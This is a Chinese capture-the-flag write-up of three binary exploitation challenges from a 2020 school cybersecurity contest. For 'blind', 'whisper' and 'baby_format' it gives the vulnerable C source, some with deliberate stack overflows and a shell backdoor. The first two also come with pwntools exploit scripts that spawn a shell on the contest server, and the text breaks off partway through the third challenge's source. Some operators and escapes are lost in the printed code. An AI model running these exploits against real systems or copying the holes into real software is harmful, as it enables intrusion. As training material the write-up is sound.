2020年 第三届全国中学生网络安全竞赛
初赛
初赛终榜
blind
思路
- 这是一道签到盲pwn,用于getshell的函数地址已经给出,只需要循环爆破栈溢出字节数即可
- 通过观察发现,如果发生了栈溢出再输入
#exit
会没有stopping提示而直接重启服务,说明栈被破坏了,以此可以确定是否达到所需字节数
源代码
代码语言:javascript复制#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
void backdoor(){
system("/bin/sh");
}
void echo(){
char buf[32];
puts("The echo server is starting...");
puts("Type '#exit' to exit.");
while(1){
printf("msg:");
scanf("%s",buf);
if(!strcmp(buf, "#exit"))
return;
puts(buf);
}
}
int main(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
puts("Welcome to mssctf2020.");
printf("Here is a backdoor left by eqqie: %pnnn",backdoor);
while(1){
int pid = fork();
if(pid){ // main
wait(NULL);
}
else{
echo();
puts("The echo server is stopping...");
exit(0);
}
}
}
exp
代码语言:javascript复制from pwn import *
#context.log_level = "debug"
def get_socket():
return remote("mssctf.eqqie.cn", 10000)
#return process("./blind")
offset = 1
p = get_socket()
p.recvuntil(b"eqqie: ")
backdoor = int(p.recvuntil(b"n"), 16)
p.close
while True:
p = get_socket()
p.sendafter(b"msg:",b"A"*offset b"n")
p.sendafter(b"msg:",b"#exitn")
ret = p.recvuntil(b"starting...")
if b"stopping" not in ret:
print("offset is:",offset)
p.sendafter(b"msg:",b"A"*offset p64(backdoor) b"n")
p.sendafter(b"msg:",b"#exitn")
p.interactive()
break
else:
offset =1
print("offset 1")
p.close()
whisper
思路
- say_hello 函数中存在溢出漏洞,当输入长度为 32 个字节时,strdup 函数会把 old rbp 一起保存到堆上,随后打印时可泄露栈地址。
- 通过调试可以计算出保存在栈上的第二次输入处的指针。
- 接收用户第二次输入的 scanf 函数也存在溢出漏洞,如果在第二次输入时写入 shellcode 并覆盖返回地址为指向 shellcode 的指针,即可 get shell。
源代码
代码语言:javascript复制#include <stdio.h>
#include <string.h>
#include <unistd.h>
void my_init() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
return;
}
char *say_hello() {
char name[24];
char *p;
memset(name, 0, sizeof(name) 8);
puts("input your name:");
read(0, name, 32);
p = strdup(name);
printf("hello, %sn", p);
return p;
}
void say_goodbye() {
puts("i see, goodbye.");
return;
}
int main() {
char *p;
char buf[64];
my_init();
p = say_hello();
puts("young man, what do you want to tell me?");
scanf("%s", buf);
say_goodbye();
return 0;
}
exp
代码语言:javascript复制from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote('mssctf.eqqie.cn', 10001)
# gdb.attach(io)
io.sendlineafter('input your name:', 'a' * 31)
leak = u64(io.recvuntil('x7f')[-6:].ljust(8, 'x00'))
success('leak: ' hex(leak))
shellcode_place = leak - 0x50
info('shellcode_place: ' hex(shellcode_place))
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x58, 'a') p64(shellcode_place)
io.sendlineafter('what do you want to tell me?', payload)
io.interactive()
baby_format
思路
- 这是一个格式化字符串利用的题
- 题目原先限制了
printf
次数,所以需要先在限制次数内泄露出栈和libc
地址并修改循环计数变量 - 通过构造栈上的二级指针向栈上某个位置写入一个指向
printf_got
的指针 - 用上一步构造出的指针修改
printf
的got表 - 当循环次数用尽后会用printf输出之前用户输入的
name
,所以只需要在开头输入name的时候构造成一条合法shell命令就可以getshell了
源代码
代码语言:javascript复制#include<cstdio>
#include<cstdlib>
#include<unistd.h>
char msg1[48];
char msg2[64];
char name[16];
char msg3[64];
void prepare(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
void read_input(char *buf, unsigned int size){
int i = 0;
while(i<size){
if(read(0, (buf i), 1)==-1){
break;
}
else{
if(*(buf i)=='n'){
*(buf i) = '